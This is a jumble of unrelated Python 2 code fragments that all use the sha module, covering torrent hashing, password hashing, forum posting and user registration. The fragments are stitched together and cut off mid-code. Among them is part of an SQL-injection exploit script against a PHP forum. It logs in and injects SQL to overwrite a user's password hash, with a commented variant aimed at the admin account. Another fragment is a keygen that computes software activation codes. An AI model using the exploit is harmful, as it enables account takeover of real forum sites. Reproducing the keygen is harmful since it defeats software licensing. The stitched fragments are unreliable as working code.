len(self.pieceList), 'pb': self.badPieceCount, 'pct': (100.0 * pieceIndex) / len(self.pieceList) }, sizeToRead = fileSize - fileIndex if sizeToRead > 0: try: fileChunk = fileData.read(sizeToRead) if len(fileChunk) < sizeToRead: fileChunk = fileChunk + '\0' * (sizeToRead - len(fileChunk)) except: fileChunk = '\0' * sizeToRead sha1Hasher.update(fileChunk) filesInCurrPiece.append(fileName) pieceUsed = pieceUsed + sizeToRead filesProcessed = filesProcessed + 1 print >> sys.stderr, '%(fc)u of %(ft)u files (%(fb)u bad) - %(pc)u of %(pt)u pieces (%(pb)u bad) - %(pct)05.2f%% complete\r' % { 'fc': filesProcessed, 'ft': len(self.fileList), 'fb': len(self.invalidList), 'pc': pieceIndex, 'pt': len(self.pieceList), 'pb': self.badPieceCount, 'pct': (100.0 * (pieceIndex + (1.0 * pieceUsed) / self.pieceLen)) / len(self.pieceList) }, print
def make_hash(cls, ip, fullname): return sha.new("%s%s" % (fullname, g.tracking_secret)).hexdigest()
def student_edit_view(context, request): if IStudent.providedBy(context): student = context context = student.__parent__ add_form = False else: student = Student(id=uuid.uuid4()) add_form = True errors = {} defaults = {} if 'form.submitted' in request.POST: try: # FormEncode validation defaults = dict(request.POST) state = FormencodeState() state.user_id = student.user_name if add_form: form_result = student_add_schema.to_python(request.POST, state) else: form_result = student_schema.to_python(request.POST, state) except formencode.validators.Invalid, why: errors = why.error_dict else: changed = False # Convert password to SHA hash if form_result.get('password', None): form_result['password'] = '******' % sha.new( form_result['password']).hexdigest() changed = True # Handle portrait upload if form_result['portrait'] is not None: # Scale image and convert to JPEG im = Image.open(form_result['portrait'].file) im.thumbnail((128, 128), Image.ANTIALIAS) # Convert to RGB if neccessary if im.mode != "RGB": im = im.convert("RGB") outfile = StringIO() im.save(outfile, "JPEG") outfile.seek(0) student.portrait = File('portrait.jpg', outfile.read()) changed = True del form_result['portrait'] # Apply schema fields to the student object field_names = [ p.key for p in class_mapper(Student).iterate_properties ] for field_name in field_names: if field_name in form_result.keys(): if form_result[field_name] != getattr(student, field_name): setattr(student, field_name, form_result[field_name]) changed = True # Add student if this is the add form if add_form: session = DBSession() session.add(student) if not form_result['password']: reset_url = model_url(get_root(request), request, 'retrieve_password.html') student.send_password_reset(reset_url) return HTTPFound( location=model_url(context, request, str(student.id)))
def sha1hex(data): return sha.new(data).hexdigest().lower()
def new_user_id(): sid = sha.new(repr(time.time())).hexdigest() return sid
def hashSID(sid, initiator, target): import sha return sha.new("%s%s%s" % (sid, initiator, target)).hexdigest()
import python_des Des = python_des.Des # Import Psyco if available try: # http://psyco.sourceforge.net import psyco psyco.full() except ImportError: pass try: from hashlib import sha1 except ImportError: # older Python release import sha sha1 = lambda s: sha.new(s) import cgi import logging logging.basicConfig() #logging.basicConfig(level=logging.DEBUG) class Sectionizer(object): bkType = "Book" def __init__(self, filename, ident): self.contents = file(filename, 'rb').read() self.header = self.contents[0:72] self.num_sections, = struct.unpack('>H', self.contents[76:78])
def post(self): (forum, siteroot, tmpldir) = forum_siteroot_tmpldir_from_url(self.request.path_info) if not forum or forum.is_disabled: return self.redirect("/forum/") if self.request.get('Cancel'): return self.redirect(siteroot) ip = get_remote_ip() if ip in BANNED_IPS: return self.redirect(siteroot) self.send_cookie() vals = [ 'TopicId', 'num1', 'num2', 'Captcha', 'Subject', 'Message', 'Remember', 'Email', 'Name', 'Url' ] (topic_id, num1, num2, captcha, subject, message, remember_me, email, name, homepage) = req_get_vals(self.request, vals) message = to_unicode(message) remember_me = True if remember_me == "": remember_me = False rememberChecked = "" if remember_me: rememberChecked = "checked" validCaptcha = True try: captcha = int(captcha) num1 = int(num1) num2 = int(num2) except ValueError: validCaptcha = False homepage = sanitize_homepage(homepage) tvals = { 'siteroot': siteroot, 'forum': forum, 'num1': num1, 'num2': num2, 'num3': int(num1) + int(num2), "prevCaptcha": captcha, "prevSubject": subject, "prevMessage": message, "rememberChecked": rememberChecked, "prevEmail": email, "prevUrl": homepage, "prevName": name, "prevTopicId": topic_id, "log_in_out": get_log_in_out(siteroot + "post") } # validate captcha and other values errclass = None if not validCaptcha or (captcha != (num1 + num2)): errclass = 'captcha_class' if not message: errclass = "message_class" if not name: errclass = "name_class" if not valid_email(email): errclass = "email_class" # first post must have subject if not topic_id and not subject: errclass = "subject_class" # sha.new() doesn't accept Unicode strings, so convert to utf8 first message_utf8 = message.encode('UTF-8') s = sha.new(message_utf8) sha1_digest = s.hexdigest() duppost = Post.gql("WHERE sha1_digest = :1", sha1_digest).get() if duppost: errclass = "message_class" if errclass: tvals[errclass] = "error" tmpl = os.path.join(tmpldir, "post.html") return self.template_out(tmpl, tvals) # get user either by google user id or cookie. Create user objects if don't # already exist existing_user = False user_id = users.get_current_user() if user_id: user = FofouUser.gql("WHERE user = :1", user_id).get() if not user: #logging.info("Creating new user for '%s'" % str(user_id)) user = FofouUser(user=user_id, remember_me=remember_me, email=email, name=name, homepage=homepage) user.put() else: existing_user = True #logging.info("Found existing user for '%s'" % str(user_id)) else: cookie = self.get_cookie_val() user = FofouUser.gql("WHERE cookie = :1", cookie).get() if not user: #logging.info("Creating new user for cookie '%s'" % cookie) user = FofouUser(cookie=cookie, remember_me=remember_me, email=email, name=name, homepage=homepage) user.put() else: existing_user = True #logging.info("Found existing user for cookie '%s'" % cookie) if existing_user: need_update = False if user.remember_me != remember_me: user.remember_me = remember_me need_update = True if user.email != email: user.email = email need_update = True if user.name != name: user.name = name need_update = True if user.homepage != homepage: user.homepage = homepage need_update = True if need_update: #logging.info("User needed an update") user.put() if not topic_id: topic = Topic(forum=forum, subject=subject, created_by=name) topic.put() else: topic = db.get(db.Key.from_path('Topic', int(topic_id))) #assert forum.key() == topic.forum.key() topic.ncomments += 1 topic.put() user_ip_str = get_remote_ip() p = Post(topic=topic, forum=forum, user=user, user_ip=0, user_ip_str=user_ip_str, message=message, sha1_digest=sha1_digest, user_name=name, user_email=email, user_homepage=homepage) p.put() memcache.delete(rss_memcache_key(forum)) clear_topics_memcache(forum) if topic_id: self.redirect(siteroot + "topic?id=" + str(topic_id)) else: self.redirect(siteroot)
def fetch_password(username): return sha.new('test').hexdigest()
def challenge_response(email, passwd, challenge): return sha.new(challenge + passwd).hexdigest()
def sha_password_encrypter(password): return sha.new(password).hexdigest()
def user_register(request): if request.method == 'POST': form = RegisterForm(request.POST) if form.is_valid(): user = User.objects.create_user(form.cleaned_data['username'], form.cleaned_data['email'], form.cleaned_data['password']) user.first_name = form.cleaned_data['firstname'] user.last_name = form.cleaned_data['lastname'] user.is_active = False user.save() # create a key random.seed() salt = sha.new(str(random.random())).hexdigest()[:5] activation_key = sha.new(salt + form.cleaned_data['username'] ).hexdigest() # yes, i'm paranoiac key_expires = datetime.datetime.today() + datetime.timedelta(2) profile = Profile(user=user) profile.homepage = form.cleaned_data['homepage'] profile.birthday = form.cleaned_data['birthday'] profile.city = form.cleaned_data['city'] profile.contributes_summary = form.cleaned_data[ 'contributes_summary'] profile.activation_key = activation_key profile.show_email = form.cleaned_data['show_email'] profile.key_expires = key_expires profile.avatar = Avatar.objects.get(id=1) profile.jabber = form.cleaned_data['jabber'] profile.msn = form.cleaned_data['msn'] profile.icq = form.cleaned_data['icq'] if form.cleaned_data['pardus_version'] != 0: profile.pardus_version = form.cleaned_data['pardus_version'] profile.save() for number in form.cleaned_data[ 'contributes']: # it's ManyToManyField's unique id user.get_profile().contributes.add(number) now = datetime.datetime.now() (date, hour) = now.isoformat()[:16].split("T") email_dict = { 'date': date, 'hour': hour, 'ip_addr': request.META['REMOTE_ADDR'], 'user': user.username, 'link': '%s/kullanici/onay/%s/%s' % (WEB_URL, form.cleaned_data['username'], activation_key) } email_subject = u"Özgürlükİçin.com Kullanıcı Hesabı, %(user)s" email_body = u"""Merhaba! %(date)s %(hour)s tarihinde %(ip_addr)s IP adresli bilgisayardan yaptığınız Özgurlukİçin kullanıcı hesabınızı onaylamak için lutfen asağıdaki bağlantıyı 48 saat içerisinde ziyaret ediniz. %(link)s Teşekkürler, Özgurlukİçin""" email_to = form.cleaned_data['email'] send_mail(email_subject % email_dict, email_body % email_dict, DEFAULT_FROM_EMAIL, [email_to], fail_silently=True) return render_response(request, 'user/register_done.html', { 'form': form, 'user': form.cleaned_data['username'] }) else: return render_response(request, 'user/register.html', {'form': form}) else: form = RegisterForm() return render_response(request, 'user/register.html', {'form': form})
def request_digest(url): return sha.new(url).hexdigest()
def entry_digest(d): return sha.new(repr(d)).hexdigest()
if key is not None: raise asyncore.ExitNow(key.group(2)) return def login(): print "logging in" r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua})) try: t = r.info()['set-cookie'].split(';')[0] return (t.split('=')[1].split('%7C')[0], t) except: sys.exit('unable to login, check user/pass') uid, cookie = login() email_domain = urlopen(Request('http://www.example1.com')).read() print "using domain: %s" % email_domain #this will change your password to your password :) stage1('%s\'/**/where/**/id=%s# () %s' % (sha.new(pwd).hexdigest(), uid, email_domain)) #this will change admin's (uid=2) password "123456" #stage1('%s\'/**/where/**/id=%s# () %s' % (sha.new("123456").hexdigest(), 2, email_domain)) try: print "2nd stage: waiting for mail" server = stage2_smtp((bindip, 25), None) asyncore.loop() except asyncore.ExitNow, key: stage3(key)
def _hashPassword(self, password): import sha hasher = sha.new() hasher.update(password) return hasher.hexdigest()
except: traceback.print_exc() return None return signal cur_files = set( [fn.split('.')[0] for fn in os.listdir('clips') if fn.endswith('.wav')]) data = [] for line in open('clips.jsons'): try: data.append(json.loads(line.strip())) except: print(line) for d in data: d['hash'] = sha.new(d['url']).hexdigest() data.sort(key=lambda d: (1 - int(d['hash'] in cur_files), d['hash'])) f = open('clips_analyzed_2.jsons', 'w') lu2c = {} # (lang, user) to count urls = set() fs = 22050 trim_s = 2.0 n_freqs = 500 df = [] for l in data: if l['url'] in urls: continue urls.add(l['url']) print l
def __digest(self, aValue): value = struct.pack("%ds" % len(aValue), aValue) h = sha.new() h.update(value) dg = h.hexdigest() return dg
return result def AddHyphens(code): """Insert hyphens into given license id or activation request to make it easier to read""" return code[:5] + '-' + code[5:10] + '-' + code[10:15] + '-' + code[15:] #LicenseID='CNYKD-KALJK-JKKFV-WPHXT' #Copy the Request Code from the dialog #RequestCode='RW51P-L6ANX-223N6-TQMDL' #RequestCode='RW51P-L6ANX-223N6-TQMDL' LicenseID = 'CNYKD-KALJK-JKKFV-WPHXT' RequestCode = 'RW711-RGGV3-T966R-HVNPA' hasher = sha.new() hasher.update(RequestCode) hasher.update(LicenseID) digest = hasher.hexdigest().upper() lichash = RequestCode[:3] + SHAToBase30(digest) lichash = AddHyphens(lichash) #Calculate the Activation Code data = [7, 123, 23, 87] tmp = 0 realcode = '' for i in data: for j in lichash: tmp = (tmp * i + ord(j)) & 0xFFFFF realcode += format(tmp, '=05X')
def sha1_digest(bytes): return sha.new(bytes).hexdigest()